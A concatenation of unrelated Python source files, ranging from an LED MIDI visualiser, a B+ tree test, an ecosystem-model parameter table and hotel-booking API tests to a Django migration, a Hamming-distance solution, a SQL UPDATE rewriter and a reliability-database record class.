for x, strip in enumerate(self.pixelReshaper._strips):
strip_length = len(
strip[0]) // 2 if self.strip_config.active_state.is_mirror else len(strip[0])
for note in self.piano_notes_on:
note["time_since_apparation"] += 1
pixel_index = self.clampToNewIntRange(
note["note"], self.strip_config.midi_range[0], self.strip_config.midi_range[1], 0, strip_length - 1)
putPixel(
strip,
pixel_index,
color_scheme[note["color"]][0],
color_scheme[note["color"]][1],
color_scheme[note["color"]][2],
value
)
fadeOutPixels(strip, fade_out_value)
return self.pixelReshaper.reshapeFromStrips(self.pixelReshaper._strips)
|
import numpy as np
from time import sleep
from bplustree.bplustree import BPlusTree
np.random.seed(42)
# data = np.random.choice(200, size=200, replace=False)
data = [1, 5, 6, 7, 8, 9, 12, 4]
tree = BPlusTree()
print('data:', data)
for value in data:
tree.insert(value)
tree.render()
tree.delete(5)
# WORKING
# Equal and purely to the left
# tree.delete(3)
# tree.delete(2)
# Purely to the right
# tree.delete(34)
# Middle
# tree.delete(19)
# tree.delete(10)
# tree.delete(8)
# tree.delete(11)
# tree.delete(7)
# BROKEN
# tree.delete(34)
# tree.delete(24)
# NOT CHECKING FOR EMPTY NODE
# NOT SHUFFLING OVER VALUES ON UNDERFLOW
# TESTING
#tree.delete(5)
sleep(10)
tree.render()
|
import dalec
class DALEC(object):
metadata_inputs = {
# 'time' : {
# 'data' : self._time,
# 'data_type' : 'int',
# 'unit' : 'day',
# 'range' : (-9999,-9999)
# 'loc' : 0
# 'description' : 'current time of the model; if the model has not yet started to run, the value is set to 0'
'source'
# },
# 'time_step' : {
# 'data' : self._time_step,
# 'data_type' : 'int',
# 'unit' : 'day',
# 'description' : 'time step; set to 1 by default'
'source'
# },
# 'inital_cpool' : {
# 'data_type' : 'FloatArray1D',
# 'unit' : 'g*m-2',
# 'length' : 6,
# 'loc' : 0,
# 'range' : [(20,2000),(20,2000),(20,2000),(100,100000),(20,2000),(100,200000)],
# 'description' : 'the values of six carbon pools at time t'
'source'
# },
'auto_frac' : {
'data_type' : 'float',
'unit' : 'dimensionless',
'loc' : 0,
'length' : 1,
'range' : [(0.3,0.7)],
'description' : 'autotrophic respiration fraction'
#'source'
},
'lab_frac' : {
'data_type' : 'dimensionless',
'unit' : 'dimensionless',
'loc' : 1,
'length' : 1,
'range' : [(0.01,0.5)],
'description' : 'the depth of melt snow per degree above tt per day'
#'source'
},
'fol_frac' : {
'data_type' : 'float',
'unit' : 'dimensionless',
'loc' : 2,
'length' : 1,
'range' : [(0.01,0.5)],
'description' : 'the maximum storage of interception reservoir'
#'source'
},
'roo_frac' : {
'data_type' : 'float',
'unit' : 'dimensionless',
'loc' : 3,
'length' : 1,
'range' : [(0.01,0.5)],
'description' : 'evapotranspiration_scale_parameter'
#'source'
},
'theta_woo' : {
'data_type' : 'float',
'unit' : 'dimensionless',
'loc' : 4,
'length' : 1,
'range' : [(2.5E-5,1E-3)],
'description' : 'evapotranspiration_scale_parameter'
#'source'
},
'theta_min' : {
'data_type' : 'float',
'unit' : 'dimensionless',
'loc' : 5,
'length' : 1,
'range' : [(1E-5,1E-2)],
'description' : 'evapotranspiration_scale_parameter'
#'source'
},
'theta_roo' : {
'data_type' : 'float',
'unit' : 'dimensionless',
'loc' : 6,
'length' : 1,
'range' : [(1E-4,1E-2)],
'description' : 'evapotranspiration_scale_parameter'
#'source'
},
'theta_som' : {
'data_type' : 'float',
'unit' : 'dimensionless',
'loc' : 7,
'length' : 1,
'range' : [(1E-7,1E-3)],
'description' : 'evapotranspiration_scale_parameter'
#'source'
},
'theta_lit' : {
'data_type' : 'float',
'unit' : 'dimensionless',
'loc' : 8,
'length' : 1,
'range' : [(1E-4,1E-2)],
'description' : 'evapotranspiration_scale_parameter'
#'source'
},
'temp_expf' : {
'data_type' : 'float',
'unit' : 'dimensionless',
'loc' : 9,
'length' : 1,
'range' : [(0.018,0.08)],
'description' : 'evapotranspiration_scale_parameter'
#'source'
},
'onset_day' : {
'data_type' : 'int',
'unit' : 'day',
'loc' : 10,
'length' : 1,
'range' : [(1,365)],
'description' : 'evapotranspiration_scale_parameter'
#'source'
},
'fall_day' : {
'data_type' : 'int',
'unit' : 'day',
'loc' : 11,
'length' : 1,
'range' : [(1,365)],
'description' : 'evapotranspiration_scale_parameter'
#'source'
},
'canopy_eff' : {
'data_type' : 'float',
'unit' : 'dimensionless',
'loc' : 12,
'length' : 1,
'range' : [(10,100)],
'description' : 'evapotranspiration_scale_parameter'
#'source'
},
'leaf_mass' : {
'data_type' : 'float',
'unit' : 'g*m-2',
'loc' : 13,
'length' : 1,
'range' : [(10,400)],
'description' : 'evapotranspiration_scale_parameter'
#'source'
},
'leaf_loss' : {
'data_type' : 'float',
'unit' : 'dimensionless',
'loc' : 14,
'length' : 1,
'range' : [(1/8,1)],
'description' : 'evapotranspiration_scale_parameter'
#'source'
},
'onset_per' : {
'data_type' : 'int',
'unit' : 'day',
'loc' : 15,
'length' : 1,
'range' : [(10,100)],
'description' : 'evapotranspiration_scale_parameter'
#'source'
},
'fall_per' : {
'data_type' : 'int',
'unit' : 'day',
'loc' : 16,
'length' : 1,
'range' : [(20,150)],
'description' : 'evapotranspiration_scale_parameter'
#'source'
},
'acm_constants' : {
'data_type' : 'FloatArray1D',
'unit' : 'day',
'loc' : 17,
'length' : 9,
'range' : None,
'description' : 'evapotranspiration_scale_parameter'
#'source'
},
# 'lat' : {
# 'data_type' : 'float',
# 'unit' : 'degree',
# 'loc' : 18,
# 'length' : 1,
# 'range' : None,
# 'description' : 'latitude of the site'
#'source'
# },
# 'ca' : {
# 'data_type' : 'float',
# 'unit' : 'ppm',
# 'loc' : 19,
# 'length' : 1,
# 'range' : None,
# 'description' : 'CO2 mole fraction '
#'source'
# }
}
def __init__(self, parameters:dict=None)->None:
"""
time:string of date like "YYYY-MM-DD"
"""
self.paras = [-9999 for i in range(self.paraLength())]
if len(parameters) == self.paraLength():
for key, value in parameters.items():
if key in self.metadata_inputs:
self.paras[self.metadata_inputs[key]['loc']] = value
def run(self, initial_state, julian_day, t_mean, t_max, tmin, i, ca, lat, water_stress=1):
return dalec.run(self.paras, initial_state, julian_day, t_mean, t_max, tmin, i, ca, lat, water_stress)
@staticmethod
def paraLength()->int:
return 18
|
# -*- coding: utf-8 -*-
import os
import datetime
import time
import uuid
import pytest
from etg import ETGHotelsClient
from etg import ( # models
GuestData,
)
from etg import ETGException
auth = (os.getenv('ETG_KEY_ID'), os.getenv('ETG_KEY'))
partner_email = os.getenv('ETG_MAIL')
client = ETGHotelsClient(auth)
class TestResources:
hotel_id = 'test_hotel'
region_id = 6308866 # region with test hotel id (Белогорск, Амурская область)
checkin = datetime.date.today() + datetime.timedelta(days=60)
checkout = checkin + datetime.timedelta(days=5)
guests = [GuestData(2)]
def test_autocomplete(self):
language = 'en'
response = client.autocomplete('Berlin', language=language)
assert len(response.get('hotels', [])) > 0
assert len(response.get('regions', [])) > 0
@pytest.mark.parametrize(
'adults, children', (
(2, []),
(2, [1]),
))
def test_search(self, adults, children):
ids = [self.hotel_id]
guests = [GuestData(adults, children)]
currency = 'EUR'
residency = 'gb'
language = 'en'
available_hotels = client.search(ids, self.checkin, self.checkout, guests,
currency=currency, residency=residency, language=language)
debug_request = dict()
if isinstance(client.resp.debug, dict) and client.resp.debug.get('request') is not None:
debug_request = client.resp.debug.get('request')
# rates in response
assert len(available_hotels[0].get('rates')) > 0
# check search conditions
assert debug_request.get('ids') == ids
assert debug_request.get('checkin') == self.checkin.strftime('%Y-%m-%d')
assert debug_request.get('checkout') == self.checkout.strftime('%Y-%m-%d')
assert all(map(lambda rate: len(rate.get('daily_prices', [])) == (self.checkout - self.checkin).days,
available_hotels[0].get('rates')))
assert len(debug_request.get('guests')) == len(guests)
assert debug_request.get('guests')[0].get('adults') == adults
assert debug_request.get('guests')[0].get('children') == children
assert debug_request.get('currency') == currency
assert all(map(
lambda rate: rate.get('payment_options').get('payment_types')[0].get('show_currency_code') == currency,
available_hotels[0].get('rates')))
assert debug_request.get('residency') == residency
assert debug_request.get('language') == language
def test_search_by_hotels(self):
ids = [self.hotel_id]
available_hotels = client.search_by_hotels(ids, self.checkin, self.checkout, self.guests)
assert len(available_hotels[0].get('rates')) > 0
def test_search_by_region(self):
available_hotels = client.search_by_region(self.region_id, self.checkin, self.checkout, self.guests)
assert len(available_hotels[0].get('rates')) > 0
def test_region_list(self):
regions = client.region_list()
last_id = regions[-1].get('id')
regions_count = len(regions)
assert regions_count > 0
# check ``last_id`` parameter
regions_filtered_by_last_id = client.region_list(last_id=last_id)
assert len(regions_filtered_by_last_id) > 0
assert all(map(lambda region: region.get('id') > last_id, regions_filtered_by_last_id))
# check ``limit`` parameter
limit = regions_count // 2
assert len(client.region_list(limit=limit)) == limit
# check ``types`` parameter
types = ['Country', 'Province (State)']
regions_filtered_by_types = client.region_list(types=types)
assert any(map(lambda region: region.get('type') == types[0], regions_filtered_by_types))
assert any(map(lambda region: region.get('type') == types[1], regions_filtered_by_types))
class OrderValuesStorage:
partner_order_id = None
book_hash = None
payment_amount = None
@pytest.mark.incremental
class TestMainFlow:
partner_order_id = str(uuid.uuid4())
language = 'ru'
currency = 'RUB'
payment_type = 'deposit'
hotel_id = 'test_hotel'
checkin = datetime.date.today() + datetime.timedelta(days=60)
checkout = checkin + datetime.timedelta(days=5)
guests = [GuestData(2)]
rooms = [
{
'guests': [
{
'first_name': 'Anna',
'last_name': 'Ostrovok',
},
{
'first_name': 'Marta',
'last_name': 'Ostrovok',
},
],
},
]
def test_hotelpage(self):
hotel = client.hotelpage(self.hotel_id, self.checkin, self.checkout, self.guests,
currency=self.currency, language=self.language)
acceptable_rates = list(
filter(lambda r: r.get('payment_options').get('payment_types')[0].get('type') == self.payment_type,
hotel.get('rates'))
)
assert len(acceptable_rates) > 0
OrderValuesStorage.book_hash = acceptable_rates[0].get('book_hash')
def test_make_reservation(self):
book_hash = OrderValuesStorage.book_hash
fake_user_ip = '8.8.8.8'
reservation = client.make_reservation(self.partner_order_id, book_hash, self.language, fake_user_ip)
assert reservation is not None
acceptable_payment_types = list(
filter(lambda pt: pt.get('type') == self.payment_type and pt.get('currency_code') == self.currency,
reservation.get('payment_types', []))
)
assert len(acceptable_payment_types) > 0
OrderValuesStorage.payment_amount = acceptable_payment_types[0].get('amount')
def test_finish_reservation(self):
partner = {
'partner_order_id': self.partner_order_id,
}
payment_type = {
'type': self.payment_type,
'amount': OrderValuesStorage.payment_amount,
'currency_code': self.currency,
}
rooms = self.rooms
user = {
'email': partner_email,
'phone': '01122333',
}
language = self.language
is_completed = client.finish_reservation(partner, payment_type, rooms, user, language)
assert is_completed
OrderValuesStorage.partner_order_id = self.partner_order_id
print('partner_order_id:', self.partner_order_id)
def test_get_voucher(self):
language = self.language
voucher = client.get_voucher(OrderValuesStorage.partner_order_id, language)
assert voucher
def test_cancel(self):
is_canceled = False
for i in range(5):
time.sleep(5)
try:
is_canceled = client.cancel(self.partner_order_id)
except ETGException:
continue
break
assert is_canceled
|
# -*- coding: utf8 -*-
"""
this module will be loaded in app init
forbid importing runtime modules
"""
__all__ = ['app_config']
from config.config import config as app_config
|
# coding:utf-8
import codecs
import os
import re
from os.path import getsize, splitext
import json
import shutil
luaDir = "tolua++"
snippetsDir = "snippets"
templatePath = "template.sublime-snippet"
completionTemplatePath = "template_completions.sublime-completions"
completionItemTemplatePath = "template_completions_item.sublime-completions"
template = codecs.open(templatePath, "r", "utf-8").read()
templateCompletion = codecs.open(completionTemplatePath, "r", "utf-8").read()
templateCompletionItem = codecs.open(completionItemTemplatePath, "r", "utf-8").read()
data = {}
dictStr = []
def cleanDir( Dir ):
print("cleanDir:", Dir)
if os.path.isdir( Dir ):
paths = os.listdir( Dir )
for path in paths:
filePath = os.path.join( Dir, path )
if os.path.isfile( filePath ):
try:
os.remove( filePath )
except os.error:
autoRun.exception( "remove %s error." %filePath )#引入logging
elif os.path.isdir( filePath ):
print("clean", filePath)
shutil.rmtree(filePath,True)
return True
if not os.path.exists(snippetsDir):
os.makedirs(snippetsDir)
cleanDir(snippetsDir)
# class AAA : {func }
klassP = re.compile('class\s+(\w+)\s*:?\s*(.*?)\s*{(.*?)}', re.S)
# void func( int a, int b)
funcP = re.compile('\w+[\s\*&]+(\w+)\((.*?)\)', re.S)
funcSP = re.compile('\s+static\s+\w+[\s\*&]+(\w+)\((.*?)\)', re.S)
# typedef enum {}typename;
enumP = re.compile('\s*enum[\s\S]*?{([\s\S]*?)}', re.S)
enumItem = re.compile('\s+([_a-zA-Z][_a-zA-Z0-9]*)', re.S)
def outDict():
tpl = templateCompletion
contentStr = ""
for str in dictStr:
contentStr = contentStr + '\t\t"' + str + '"' + ",\n"
if len(contentStr) > 2:
contentStr = contentStr[:-2]
tpl = tpl.replace("%content",contentStr)
ff = codecs.open(os.path.join(snippetsDir, "enum.sublime-completions"), "w", "utf-8")
ff.write(tpl)
ff.close()
def outputFunAPI(tree):
contentStr = ""
for klass in tree:
contentStr = contentStr + outputKclass(klass,tree[klass])
contentStr = contentStr + "\n"
if len(contentStr) > 3:
contentStr = contentStr[:-3]
tpl = templateCompletion
tpl = tpl.replace("%content",contentStr)
ff = codecs.open(os.path.join(snippetsDir, "api.sublime-completions"), "w", "utf-8")
ff.write(tpl)
ff.close()
def outputKclass(className, classData):
contentStr = ""
for sign in classData["func"]:
funcData = classData["func"][sign]
str = outPut(className, funcData["funcName"], funcData["args"], False)
contentStr = contentStr + '\t\t' + str + ",\n"
if "static_func" in classData:
for sign in classData["static_func"]:
funcData = classData["static_func"][sign]
str = outPut(className, funcData["funcName"], funcData["args"], True)
contentStr = contentStr + '\t\t' + str + ",\n"
return contentStr
def outPut(klass, func, args, is_static):
#print("write:", klass,func)
tpl = templateCompletionItem
if is_static == False:
tpl = tpl.replace("%class:", "")
tpl = tpl.replace("%class", klass)
tpl = tpl.replace("%func", func)
argList = args.split(",")
argVal = ""
argHint = ""
i = 1
if args == "" or argList[0]=="void":
argVal = ""
else:
for arg in argList:
argVal += "${" + str(i) + ":" + arg + "}" + ","
argHint += arg + ","
i+=1
argVal = argVal[:-1]
tpl = tpl.replace("%args", argVal)
tpl = tpl.replace("%argHint", argHint)
return tpl
def getSuperKlass(str):
if str == "":
return []
else:
return re.sub(r"\s*public\s*", "", str).split(",")
def saveFuncSignature(table, funcStr, reg):
funcs = reg.findall(funcStr)
for func in funcs:
funcName = func[0]
args = re.sub(r",[\n\r\s]+", ",", func[1])
args = re.sub(r"\s+", "_", args)
signature = funcName + ":" + args
table[signature] = {}
table[signature]["funcName"] = funcName
table[signature]["args"] = args
def getData(file):
text = codecs.open(file, "r", "utf-8").read()
text = re.sub(r"/\*[\S\s]*?\*/", "", text)
text = re.sub(r"//[^\t\n]*", "", text)
enumDefs = enumP.findall(text)
for enumDef in enumDefs:
#print(enumStrs)
enumStrs = enumItem.findall(enumDef)
for enumStr in enumStrs:
#print(enumStr)
if (enumStr in dictStr) == False:
dictStr.append(enumStr)
klasses = klassP.findall(text)
for klass in klasses:
klassData = {}
superKlass = ""
if len(klass) == 2:
klassName = klass[0]
funcStr = klass[1]
else:
klassName = klass[0]
superKlass = klass[1]
funcStr = klass[2]
klassData["klass"] = klassName
klassData["super"] = getSuperKlass(superKlass)
staticFuncData = klassData["static_func"] = {}
saveFuncSignature(staticFuncData,funcStr,funcSP)
funcStr = funcSP.sub("",funcStr)
funcData = klassData["func"] = {}
saveFuncSignature(funcData,funcStr,funcP)
data[klassName] = klassData
for file in os.listdir(luaDir):
#if(splitext(file)[1]==".pkg" and splitext(file)[0]=="CCApplication"):
if(splitext(file)[1]==".pkg"):
getData(os.path.join(luaDir, file))
tree = {}
def extends(childKlassData, superKlass):
if superKlass not in data:
tree[superKlass] = {
"klass":superKlass,
"func":"",
"super":[]
}
if superKlass not in tree and len(data[superKlass]["super"]) == 0:
tree[superKlass] = data[superKlass]
if superKlass in tree:
for func in tree[superKlass]["func"]:
childKlassData["func"][func] = tree[superKlass]["func"][func]
else:
for func in data[superKlass]["func"]:
childKlassData["func"][func] = data[superKlass]["func"][func]
for superName in data[superKlass]["super"]:
extends(childKlassData, superName)
tree[childKlassData["klass"]] = childKlassData
for klass in data:
#print("________________________", klass, "___________________")
if len(data[klass]["super"]) == 0:
tree[klass] = data[klass]
else:
for superName in data[klass]["super"]:
#print(superName)
extends(data[klass], superName)
outputFunAPI(tree)
outDict()
if os.name == "nt":
os.system("pause")
|
a = {4,21}
b = {6}
c = {9}
d = {11}
e = {18,4}
f = {4,21}
g = {23,11}
h = {25}
setlist = [a,b,c,d,e,g,f,h]
# setlist = [{8}, {46,9}, {18,10}, {18,67}, {107,19}, {144, 29}, {108, 38}, {50},
# {53, 99}, {54, 67}, {63,99}, {73}, {74}, {67,75}, {76,177}, {78},
# {81}, {83}, {93}, {18,94}, {67,102}, {74,103}, {107,114}, {108, 117}, {113, 168},
# {67,114}, {119}, {120}, {123}, {128}, {75, 129}, {135}, {145, 144}, {145,67}, {67,151}, {54, 152}, {108, 54}, {162, 114}, {163}, {166,18}, {168,99}, {170,168}, {190,175}, {183,128}, {18, 187}, {190,99}]
# setlist = [{4,21}, {6}, {9}, {11}, {18,4}, {4,21}, {23,11}, {25}]
# setlist = frozenset(setlist)
# setlist = list(setlist)
#setlist = [{'4- To create gardens more.parks in each locality. Good roads without potholes. To grow trees on either side of the road. Escalator to be installed at sky walk for senior citizens. Good conveyance in the form of bus. Auto. Cabs. Metro. And rail. Good drainage without over flowing in rainy season. Good shelter near bus stop. Wash rooms or toilet near bus stop. With good maintainance.\n', '21- Though there has been efforts to improve the standard of footpaths, they end up being encroached by the illegal vendors and petty shops and forcing the pedestrians to walk on the roads and risk their lives. On many newly laid footpaths, the existing telephone exchange boxes or other utilities are not removed or relocated. These again forces pedestrians to walk on road.\n'}, {'6- Bangalore need to be planned properly \n'}, {'9- Until implemented, the plan is not satisfactory.\n'}, {'11- Please get our footpaths and greenary back. \n'}, {'4- To create gardens more.parks in each locality. Good roads without potholes. To grow trees on either side of the road. Escalator to be installed at sky walk for senior citizens. Good conveyance in the form of bus. Auto. Cabs. Metro. And rail. Good drainage without over flowing in rainy season. Good shelter near bus stop. Wash rooms or toilet near bus stop. With good maintainance.\n', '18- Build big arterial roads for sub urban networks\n'}, {'4- To create gardens more.parks in each locality. Good roads without potholes. To grow trees on either side of the road. Escalator to be installed at sky walk for senior citizens. Good conveyance in the form of bus. Auto. Cabs. Metro. And rail. Good drainage without over flowing in rainy season. Good shelter near bus stop. Wash rooms or toilet near bus stop. With good maintainance.\n', '21- Though there has been efforts to improve the standard of footpaths, they end up being encroached by the illegal vendors and petty shops and forcing the pedestrians to walk on the roads and risk their lives. On many newly laid footpaths, the existing telephone exchange boxes or other utilities are not removed or relocated. These again forces pedestrians to walk on road.\n'}, {'23- Roads are damaged from Doddamara to mahaveer orchids apartment. Please requesting to fix it as there are many incidents happening\n', '11- Please get our footpaths and greenary back. \n'}, {'25- Good thoughts, and will be helpful if implemented in a time bound manner.\n'}]
# index = 0
# for i in range(len(setlist)):
# print(index)
# for j in setlist[index+1:]:
# if len(setlist[index] & j) > 0:
# print('union')
# print(setlist[index])
# print(j)
# setlist[index] = setlist[index].union(j)
# setlist = list(filter((j).__ne__, setlist))
# #setlist.remove(j)
# print(setlist)
# index = 0
# else:
# index += 1
# print(setlist)
for i in setlist:
print('i')
print(i)
print()
for j in setlist:
if i == j:
continue
print('j')
print(j)
print()
if len(i & j) > 0 and i!=j:
if i & j == i:
setlist = list(filter((i).__ne__, setlist))
continue
if i & j == j:
setlist = list(filter((j).__ne__, setlist))
continue
print(setlist)
print(i)
print(j)
setlist.append(i.union(j))
#print(setlist[setlist.index(i)])
#setlist[setlist.index(i)] = i.union(j)
if i > j:
setlist = list(filter((j).__ne__, setlist))
else:
setlist = list(filter((i).__ne__, setlist))
print(setlist)
print()
print(setlist)
|
from pathlib import Path
from checkpoint_io import CheckpointIo
from classifier import FrozenFeatureDetector
from classifier import FlowerClassifier
from data_handling import DataProvider
from device_setup import prepare_device
from logger import ResultLogger
from train_arguments import TrainArgumentParser
from trainer import Trainer
def main():
arg_parser = TrainArgumentParser()
args = arg_parser.args
data_provider = DataProvider(Path(args.data_dir))
device = prepare_device(args.gpu)
detector = FrozenFeatureDetector(args.arch, device)
class_count = 102
classifier = FlowerClassifier(args.arch, args.hidden_units, class_count, device)
model = detector.attach_classifier_to_network(classifier)
log_file_path = Path(args.save_dir) / Path("train_log.txt")
logger = ResultLogger(log_file_path)
trainer = Trainer(model, classifier, device, logger)
trainer.train(args.epochs, args.learning_rate, data_provider)
trainer.test(data_provider)
checkpoint_saver = CheckpointIo()
checkpoint_name = "flower_classifier.pth"
checkpoint_saver.save_checkpoint(model, args.arch, classifier, trainer.optimizer,
data_provider, args.save_dir, checkpoint_name)
if __name__ == "__main__":
main()
|
# Generated by Django 3.2.2 on 2021-05-16 18:47
import django.core.validators
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='Category',
fields=[
('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('name', models.CharField(max_length=100)),
],
options={
'verbose_name': 'Category',
'verbose_name_plural': 'Categories',
},
),
migrations.CreateModel(
name='Product',
fields=[
('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('name', models.CharField(max_length=200)),
('description', models.TextField()),
('price', models.DecimalField(decimal_places=2, max_digits=15)),
('thumbnail', models.ImageField(blank=True, null=True, upload_to='products/thumbnails/')),
('stock', models.PositiveIntegerField(default=1)),
('created', models.DateTimeField(auto_now_add=True)),
('rating', models.DecimalField(blank=True, decimal_places=2, max_digits=2, null=True)),
],
),
migrations.CreateModel(
name='ProductRating',
fields=[
('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('stars', models.PositiveIntegerField(validators=[django.core.validators.MaxValueValidator(5)])),
('product', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='products.product')),
],
),
]
|
from chatterbot import ChatBot
from chatterbot.trainers import ChatterBotCorpusTrainer
# Uncomment the following lines to enable verbose logging
import logging
logging.basicConfig(level=logging.INFO)
# Create a new instance of a ChatBot
bot = ChatBot('ChatbotTeste')
# trainer = ChatterBotCorpusTrainer(bot)
# trainer.train(
# "chatterbot.corpus.portuguese"
# )
# print('Escreva algo para começar...')
# # The following loop will execute each time the user enters input
# while True:
# try:
# user_input = input()
# bot_response = bot.get_response(user_input)
# print(bot_response)
# # Press ctrl-c or ctrl-d on the keyboard to exit
# except (KeyboardInterrupt, EOFError, SystemExit):
# break
|
from . import views
from django.urls import path, re_path
app_name = 'trade_account'
urlpatterns = [
path('',
views.TradeAccountsHomeView.as_view(), name='index'),
path('create/',
views.create_tradeaccount, name='create'),
path('comments/<ts_code>/<position_id>/',
views.position_comments, name='comments'),
# path('/positions/',
# views.positions, name='all_positions'),
# path('/<account_id>/position/',
# views.position, name='position_by_account'),
]
|
from hailtop.frozendict import frozendict # noqa: F401 pylint: disable=unused-import
|
# -*- coding: utf-8 -*-
#!/usr/env python3
# Copyright (C) 2017 Gaby Launay
# Author: Gaby Launay <gaby.launay@tutanota.com>
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 3
# of the License, or (at your option) any later version.
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
""" """
__author__ = "Gaby Launay"
__copyright__ = "Gaby Launay 2017"
__credits__ = ""
__license__ = "GPL3"
__version__ = ""
__email__ = "gaby.launay@tutanota.com"
__status__ = "Development"
from ids_core import *
from .detectors import CircleDetector
from .threads import GatherThread, LiveThread
from .camera import Camera
|
'''
汉明距离总和
两个整数的 汉明距离 指的是这两个数字的二进制数对应位不同的数量。
计算一个数组中,任意两个数之间汉明距离的总和。
'''
from typing import List
'''
思路1,回溯遍历数组中所有元素的组合,求其异或的1的个数(n&(n-1))
时间复杂度:O(n^2)
思路2,回溯遍历数组中所有元素的组合,求其异或的1的个数(jdk类库算法)
时间复杂度:O(n^2)
思路3,1次遍历所有位上的1的个数。只有0和1的异或才是1,所以对于每1位来说,只有与0其相反的位的组合才是有意义的。可以统计每位上1的个数count
然后这个位上产生的异或的1个个数是count*(n-count)。再合计32位上所有异或的数量。
时间复杂度:O(n)
空间复杂度:O(1)
'''
class Solution:
def totalHammingDistance(self, nums: List[int]) -> int:
n = len(nums)
count = [0] * 32
for num in nums:
for j in range(32):
if num & 1:
count[j] += 1
num >>= 1
if num == 0:
break
ans = 0
for i in range(32):
ans += count[i] * (n - count[i])
return ans
# 思路1
def totalHammingDistance1(self, nums: List[int]) -> int:
n = len(nums)
count = 0
for i in range(n - 1):
for j in range(i + 1, n):
num = nums[i] ^ nums[j]
while num > 0:
count += 1
num &= (num - 1)
return count
# 思路2
def totalHammingDistance2(self, nums: List[int]) -> int:
n = len(nums)
count = 0
# 这个函数就是jdk里面的bigCount
def bitCount(i):
i = i - ((i >> 1) & 0x55555555)
i = (i & 0x33333333) + ((i >> 2) & 0x33333333)
i = (i + (i >> 4)) & 0x0f0f0f0f
i = i + (i >> 8)
i = i + (i >> 16)
return i & 0x3f
for i in range(n - 1):
for j in range(i + 1, n):
count += bitCount(nums[i] ^ nums[j])
return count
s = Solution()
print(s.totalHammingDistance2([4, 14, 2]))
|
import re
import types
import uuid
from typing import List, Match, Sequence
from google.datacatalog_connectors.mysql_.parse.transform_equ.commons \
import Commons
class TransformUpdate:
_alias_table = {}
def random_name(self, x: Match):
code = "uuid" + str(uuid.uuid1()).replace('-', '')
self._alias_table[code] = x.group().replace('=', '').strip()
return f" {code} = "
def rename_set_targets(self, query: str) -> str:
setBody: str = ""
setPos = Commons.findSqlKeyword(query, "SET")
wherePos = Commons.findSqlKeyword(query, "WHERE")
if setPos is not None:
if wherePos is not None:
setBody = query[setPos + 5:wherePos]
else:
setBody = query[setPos:]
else:
return query
varRegex: str = "[A-Za-z0-9_]+\\.[A-Za-z0-9_]+\\s*="
rgx = re.compile(varRegex, re.IGNORECASE)
newBody: str = rgx.sub(self.random_name, setBody)
query = query.replace(setBody, newBody)
return query
def can_transform(self, query: str) -> bool:
updateRegex: str = "\\s*UPDATE\\s+((?s).*)SET((?s).*)"
pattern = re.compile(updateRegex, re.IGNORECASE)
return pattern.match(query)
def _is_select_as_query(self, query: str) -> bool:
query = query.strip()
updateRegex: str = "\\(\\s*SELECT\\s+(?s).*as\\s+[a-z0-9_]*"
pattern = re.compile(updateRegex, re.IGNORECASE)
return pattern.match(query)
def get_col_list(self, query: str) -> Sequence[str]:
updateRegex: str = "\\s*update\\s+((?s).*)SET((?s).*)"
pattern = re.compile(updateRegex, re.IGNORECASE)
# find Matching patterns
colListString = pattern.search(query).group(1)
return colListString.split(",")
def _get_set_query(self, query: str) -> str:
updateRegex: str = "\\s*update\\s+((?s).*)SET((?s).*)"
pattern = re.compile(updateRegex, re.IGNORECASE)
# find Matching patterns
return pattern.search(query).group(2)
def _get_targets(self, colList: Sequence[str]) -> Sequence[str]:
return filter(lambda col: not self._is_select_as_query(col), colList)
def transform(self, query: str) -> str:
# Filtering and removing unparsable information
query = self.rename_set_targets(query)
sources: Sequence[str] = self.get_col_list(query)
targets: Sequence[str] = self._get_targets(sources)
combined_sources: str = " JOIN ".join(sources)
set_clousre: str = self._get_set_query(query)
equivalentQuery = ""
for target in targets:
if target.strip == "":
continue
equivalentQuery += f"UPDATE {target} SET _ = ( SELECT * FROM " + \
f" {combined_sources} ),{set_clousre};"
return equivalentQuery
def post_parse_transform(self, node):
self.post_parse_transform_helper(node)
return node
def post_parse_transform_helper(self, node):
if isinstance(node, List):
for element in node:
self.post_parse_transform_helper(element)
elif isinstance(node, types.SimpleNamespace):
if hasattr(node, "names"):
value = getattr(node, "names")
if len(value) > 0 and value[0] in self._alias_table:
new_names = self._alias_table[value[0]].split(".")
setattr(node, "names", new_names)
else:
for _, value in node.__dict__.items():
self.post_parse_transform_helper(value)
|
# pylint: disable=duplicate-code
# -*- coding: utf-8 -*-
#
# ramstk.models.dbrecords.programdb_program_status_record.py is part of The
# RAMSTK Project
#
# All rights reserved.
# Copyright since 2007 Doyle "weibullguy" Rowland doyle.rowland <AT> reliaqual <DOT> com
"""RAMSTKProgramStatus Record Model."""
# Standard Library Imports
from datetime import date
# Third Party Imports
from sqlalchemy import Column, Date, Float, ForeignKey, Integer
# RAMSTK Local Imports
from .. import RAMSTK_BASE
from .baserecord import RAMSTKBaseRecord
class RAMSTKProgramStatusRecord(RAMSTK_BASE, RAMSTKBaseRecord): # type: ignore
"""Class represent table ramstk_program_status in RAMSTK Program database.
This table shares a Many-to-One relationship with ramstk_revision.
"""
__defaults__ = {
"cost_remaining": 0.0,
"date_status": date.today(),
"time_remaining": 0.0,
}
__tablename__ = "ramstk_program_status"
__table_args__ = {"extend_existing": True}
revision_id = Column(
"fld_revision_id",
Integer,
ForeignKey("ramstk_revision.fld_revision_id", ondelete="CASCADE"),
nullable=False,
)
status_id = Column(
"fld_status_id",
Integer,
primary_key=True,
autoincrement=True,
nullable=False,
)
cost_remaining = Column("fld_cost_remaining", Float, default=0.0)
date_status = Column("fld_date_status", Date, unique=True, default=date.today())
time_remaining = Column("fld_time_remaining", Float, default=0.0)
# Define the relationships to other tables in the RAMSTK Program database.
def get_attributes(self):
"""Retrieve current values of RAMSTKProgramStatus model attributes.
:return: {revision_id, cost_remaining, date_status, time_remaining}
pairs.
